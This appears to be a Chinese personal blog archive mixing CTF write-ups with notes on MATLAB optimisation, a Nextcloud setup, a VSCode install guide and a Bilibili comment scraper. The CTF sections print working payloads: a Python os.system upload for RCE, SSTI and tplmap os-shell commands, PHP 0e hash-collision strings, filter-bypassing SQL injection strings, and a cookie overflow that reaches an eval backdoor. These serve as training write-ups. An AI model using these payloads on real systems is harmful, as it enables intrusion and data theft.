0%

都与flask有关,找机会学一下这个框架

Flask_FileUpload

F12审查,上传jpg后会以python文件形式将其执行,写一个py然后改后缀即可或者bp抓包改上传形式

写入以下内容

1
2
import os
os.system("ls /") #扫描根目录

看回传,有个flag,直接cat就行

1
2
import os
os.system("cat /flag")

Simple_SSTI_1

笑死了

https://blog.csdn.net/weixin_45950544/article/details/103847262

传入参数

?flag={{config.SECRET_KEY}}

Simple_SSTI_2

挺有趣的一个题,用tplmap模板注入就行,还挺好用的

python2 tplmap.py -u url --engine=Jinja --os-shell

md5碰撞

感觉一般般,没给代码

用的哈希0e的方法

MD5碰撞

PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

所以就令a=一个哈希后以”0E“开头的字符串即可

随便试几个

字符串 哈希值
QNKCDZO 0e830400451993494058024219903391
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514

线性规划

最近在学数学建模,把代码和遇到的问题记录一下

基本类型

基本直接套函数

1
[x,fval]=linprog(f,A,b,Aeq,beq,lb,ub)

x返回决策向量取值,fval返回最优解,f目标函数,A,b线性不等式约束,Aeq,beq线性等式约束,lb,ub界值向量

一般都是矩阵形式

一个easy题,把代码复习一下

1
2
3
4
5
6
max z=2x1+3x2-5x3,
s.t.
x1+x2+x3=7,
2x1-5x2+x3>=10,
x1+3x2+x3<=12,
x1,x2,x3>=0

程序如下

1
2
3
4
5
6
f=[-2;-3;-5];
a=[-2 5 -1;1 3 1];
b=[-10;12];
aeq=ones(1,3);
beq=7;
[x,y]=linprog(f,a,b,aeq,beq,zeros(3,1));

特殊类型

即带绝对值的,也挺简单的,改一下模型就行,用lingo可以直接求

一类问题

主要就是投资的收益和风险,具体问题具体分析,大部分可以简化模型,比如固定一个值,优化另一个,再用循环改变固定值

整数规划

0-1型整数规划

相互排斥

改写约束条件,比如

x=0或500<x<800

改写为 500y<x<800y,y=0或1

思路比较灵活,有时候需要引入M(充分大)

指派问题

直接用intlinprog,比linprog多了个参数intcon,还是比较复杂的,需要把多维变量转变成一维向量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
clc,clear
c=[3 8 2 10 3;
8 7 2 9 7;
6 4 2 7 5;
8 4 2 3 5;
9 10 6 9 10;]; //系数矩阵
c=reshape(c,[25 1]);
a=zeros(10,25);
intcon=1:25;
for i=1:5
a(i,(i-1)*5+1:5*i)=1;
a(5+i,i:5:25)=1;
end
b=ones(10,1);
lb=zeros(25,1);
ub=ones(25,1);
x=intlinprog(c,intcon,[],[],a,b,lb,ub);
x=reshape(x,[5 5])

蒙特卡洛法

很经典的随机模拟方法,直接上代码

1
2
3
4
5
6
7
mengte.m函数文件
function[f,g]=mengte(x)
f=x(1)^2+x(2)^2+3*x(3)^2+4*x(4)^2+2*x(5)^2-8*x(1)-2*x(2)-3*x(3)-x(4)-2*x(5);
g=[sum(x)-400
x(1)+2*x(2)+2*x(3)+x(4)+6*x(5)-800
2*x(1)+x(2)+6*x(3)-200
x(3)+x(4)+5*x(5)-200];

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rng(sum(clock));
p0=0;
tic
for i=1:10^6
x=randi([0,99],1,5);
[f,g]=mengte(x);
if all(g<=0)
if p0<f
x0=x;p0=f;
end
end
end
x0,p0
toc

暂时写这么多,碰到问题再补充

服务器除了用来搭博客和内网穿透之外没干其他的,感觉有点浪费,今天简简单单搭了个网盘打算榨干它。

私有云选择

尝试了以下几个

  1. cloudreve
  2. seafile
  3. nextcloud

cloudreve比较nt,属于傻瓜式,这个不展开了

seafile就比较复杂,不过有详细的官方文档,一步一步来就行,我最后搭建成功了,但无法外网访问,应该是反向代理的问题,nginx反向代理配置这比较复杂。

最后选择的是nextcloud,感觉用起来和onedrive差不多,不过既然是榨干服务器,就不管这么多了。

安装指南

服务器安装宝塔面板和LNMP环境

这个在阿里云可以一键配置,不过重装的话要慎重。

在这里插入图片描述

安装的教程也一大堆,这个比较简单。

新建站点

马赛克处是域名和站点目录,php版本记得选择7.2以上的

在这里插入图片描述

在这里插入图片描述

部署nextcloud

官网下载nextcloud,下载完是一个压缩包,上传到刚建立的站点目录上,在线解压,如图

在这里插入图片描述

然后直接访问刚才绑定的域名,会让配置管理员等。进来之后就是这个了。

在这里插入图片描述

感觉相当于网页版的onedrive,客户端涵盖主流设备可以在官网或控制台下载也可以直接用网页版的,客户端需要绑定域名。

enjoy!

踩坑指南

不要使用php那个安装方法

亲测网速太慢,160MB安装到什么时候,过一会就502,这个方法不建议

在这里插入图片描述

php版本

7.2以上,太低不支持。

open_basedir()

不要在宝塔开防止跨站攻击,会禁用这个函数,然后会一直报错。

效果

网页版

在这里插入图片描述

win客户端

在这里插入图片描述
在这里插入图片描述

跟onedrive好像,也是直接把文件拖到工作区就能上传,还能自动同步。

android客户端

请添加图片描述

UI不错


挂载oss

oss用来当图床有点浪费,可以利用ossfs挂载到服务器上

在这里插入图片描述

一共256T,能装好多小姐姐

  1. 官方文档有详细操作,先把bucket挂载到文件夹

  2. 在nextcloud开启externalstorage,在设置中外部存储选则挂载的位置
    在这里插入图片描述

宝塔可以直接识别,好爽

在这里插入图片描述

Web

sql_inject

过滤绕过

|| 代替 or

!(a<>a) 代替 =

/**/ 代替 空格

mid 代替 left right substr

3’//||//!(1<>1)#

3’//||//!(database()<>’cumtctf’)#

1’//||//!(mid((select//group_concat(table_name)//from//mysql.innodb_table_stats//where/**/!(database_name<>’cumtctf’)),1,1)<>’f’)#;

1’//||//!(mid((select//group_concat(table_name)//from//mysql.innodb_table_stats//where/**/!(database_name<>’cumtctf’)),1,34)<>’flag_table,no_use_table,test,users’)#;

无列名注入这个有点离谱
直接把flag给试出来了???

1’//||//(select//(‘flag{cumtctf_sql_is_s0_e@sy}’,0)>(select//*//from//flag_table//limit//1,1));#

easy_web

php在64位系统中,当索引大小为9223372036854775808会溢出

payload:web=flag&a[]=1&b[]=2&c=9223372036854775806

jphide:

这个有GUI界面不用命令输入密码就行。

RCE_Me

[蓝帽杯 2021]One Pointer

首先下载源码,包含user.php和add_api.php代码审计

add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

可以看出是将cookie的data反序列化后赋值给user,抓包发现cookie有个默认的data

O:4:”User”:1:{s:5:”count”;i:3;}

这里利用和校赛类似的数组溢出的漏洞,将count设为9223372036854775806,实现自加1后,再赋值就会失败,进而执行eval($_GET[“backdoor”]),方便后续用蚁剑连

更改一下cookie,然后用蚁剑连,发现有访问目录限制,用插件发现用不了,然后就不会了。
查了查,有两种方法。

第一种是更改fsockopen为pfsockopen,然后再添加端口9001,然后就可以用插件连了。

第二种是挺花哨的,利用fpm,反弹shell,要在服务器上监听,但我还没有公网服务器,这个暂时理解了下,没法实践。

放个链接https://blog.csdn.net/baidu_39504221/article/details/116720875

百度教程很多,还学不会的建议继续用Dev,VS也挺好用,不必非要用VSCode

脑子是个好东西,建议多动手才好用

需要的东西已打包,还学不会,建议回家种地

VSCode在官网上下,别TM随便找到个能下的就下

已经帮好几个人装了VSCode,没意思,就这nt操作浪费时间实属没必要,下面详细操作,希望看到的多多传播,不要再白白耗费时间在这无意义的事上

  1. 下载链接中的东西
  1. 将mingw-w64解压后直接拖入C盘

  2. 新建fuck文件夹,将.vscode解压后拖入该文件夹中

  3. 将下面这句添加环境变量,path中新建,不会的百度

    C:\mingw-w64\x86_64-8.1.0-posix-seh-rt_v6-rev0\mingw64\bin

  4. vscode中安装必要插件,与C++有关的建议看不懂英文的全装,看的懂的选有用的装,懒得看的也全装

  5. 右键fuck文件夹,选通过vscode打开,写helloworld测试

  6. 运行成功的皆大欢喜,不成功的重复1-6步100-200遍,还不成功的,老老实实用你的devc++

  7. over

python小白,纯属来玩的(狗头)

库准备(推荐清华镜像安装)

  1. requests
  2. bs4
  3. jieba
  4. wordcloud
  5. imageio
  6. matplotlib

具体步骤

爬取评论

代码直接贴上了,自行研究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import requests
import time
from bs4 import BeautifulSoup
import json

def get_html(url):
headers = {
'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36',
}

r = requests.get(url, timeout=30,headers=headers)
r.raise_for_status()
r.endcodding = 'utf-8'
return r.text


def get_content(url):
comments = []
html = get_html(url)
try:
s=json.loads(html)
except:
print("jsonload error")
num=len(s['data']['replies'])
i=0
while i<num:
comment=s['data']['replies'][i]
InfoDict={}
InfoDict['Uname']=comment['member']['uname']
InfoDict['Like']=comment['like']
InfoDict['Content']=comment['content']['message']
InfoDict['Time']=time.strftime("%Y-%m-%d %H:%M:%S",time.localtime(comment['ctime']))
comments.append(InfoDict)
i=i+1
return comments
def Out2File(dict):
with open('BiliBiliComments.txt', 'a+',encoding='utf-8') as f:
i=0
for comment in dict:
i=i+1
try:
f.write('姓名:{}\t 点赞数:{}\t \n 评论内容:{}\t 评论时间:{}\t \n '.format(
comment['Uname'], comment['Like'], comment['Content'], comment['Time']))
f.write("-----------------\n")
except:
print("out2File error")
print('当前页面保存完成')

if __name__ == '__main__':
e=0
page=1
while e == 0 :
url = "https://api.bilibili.com/x/v2/reply?pn="+ str(page)+"&type=1&oid=800760067&sort=2"
try:
print()
content=get_content(url)
print("page:",page)
Out2File(content)
page=page+1
# 为了降低被封ip的风险,每爬20页便歇5秒。
if page%10 == 0:
time.sleep(5)
except:
e=1

生成词云

这个需要先有个图片,随便网上找,然后和py放在一个文件夹下。

代码附上(文件,图片改成自己的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

import jieba.analyse
from wordcloud import WordCloud,ImageColorGenerator
from imageio import imread
import matplotlib.pyplot as plt

class wc:
def __init__(self,txt_file,img_file,font_file):
self.f = open(txt_file,encoding='utf-8')
self.txt = self.f.read()
self.f.close()
self.tags = jieba.analyse.extract_tags(self.txt,topK=100)
self.text = ' '.join(self.tags)
self.img = imread(img_file)
self.wc = WordCloud(font_path=font_file,background_color='white',max_words=100,mask=self.img,max_font_size=80)
self.word_cloud = self.wc.generate(self.text)

def show_wc(self):
plt.imshow(self.word_cloud)
plt.axis("off")
plt.show()


if __name__=='__main__':
mywc = wc('BiliBiliComments.txt','u=2959490536,2877096479&fm=26&gp=0.jpg','simsun.ttc')
mywc.show_wc()

还是那句话,冰冰真可爱(狗头)

MISC

这次队友很给力,大佬pwn几乎全做完了,我这个摸鱼选手很惭愧,最后得分听高的,web刷题,在这次有了点收获,最少有思路了,和另一个大佬一交流,就做出来了,最近刷题还是很值得的。

ez_base

扫码获得压缩包密码,打开后观察文件,将字符串翻转一下,base32解密发现png头,转图片得到flag

ez_img

图片明显没显示全,直接爆破高,改高后获得flag

一个不小的文件

文件很大,最后=结尾,怀疑base64,观察前几个字符,怀疑base64套娃,直接上脚本获得flag

#-*- coding:utf-8 -*-
import base64

s=''
with open('problem.txt', 'r', encoding='UTF-8') as f:
    s="".join(f.readlines()).encode('utf-8')
src=s
while True:
    try:
        src=s
        s=base64.b64decode(s)
        str(s,'utf-8')
        continue
    except:
        pass
    break
with open('result.txt','w', encoding='utf-8') as file:
    file.write(str(src,'utf-8'))
print("ok!")

嗷呜

这个属实被整懵逼了,兽音译者翻译后获得

fc34f44b75ae100abb2af0e28b9251e5e59b5faf

最后给hint才知道是个p2p种子

payload:magnet:?xt=urn:btih:fc34f44b75ae100abb2af0e28b9251e5e59b5faf

下载后零宽字符隐写,网站解码获得flag

键盘侠

wireshark打开,发现全是USB协议,了解了一下,1.9.1的最后8个字节记录键盘数据,不断在变,直接用tshark提取不出来,对着表一个个对,获得flag

LRU

直接贴脚本

def replace_word(l, a):
    l.remove(a)
    l.append(a)
    return l


str = '3 0 @ { o e f m t c y f e o { @ 0 3 a u o r t r o u a 3 o @ { e f y e { @ o 3 a u o r 0 _ i o u e y g a 3 @ h 0 _ t o u e y b 3 a @ _ 0 d c @ a 3 b g e u o f t y g j k z c v f h j k v n m r t u i p k j y t r f v n m d e w o i u h g r k l m u t r e d f h n b f d e u i o p l m n g h y t r e w a q z x c f h j y e s } j h f c x z q a b d e g'
i_str = list('cfmteo{@0uya')
s_str = str.split(' ')
flag = []

for i in s_str:
        if i in i_str:
            i_str = replace_word(i_str, i)
        else:
            a, *i_str = i_str
            i_str.append(i)
            flag.append(a)
        print(i_str)
print(''.join(flag))

最近几天在打比赛,断更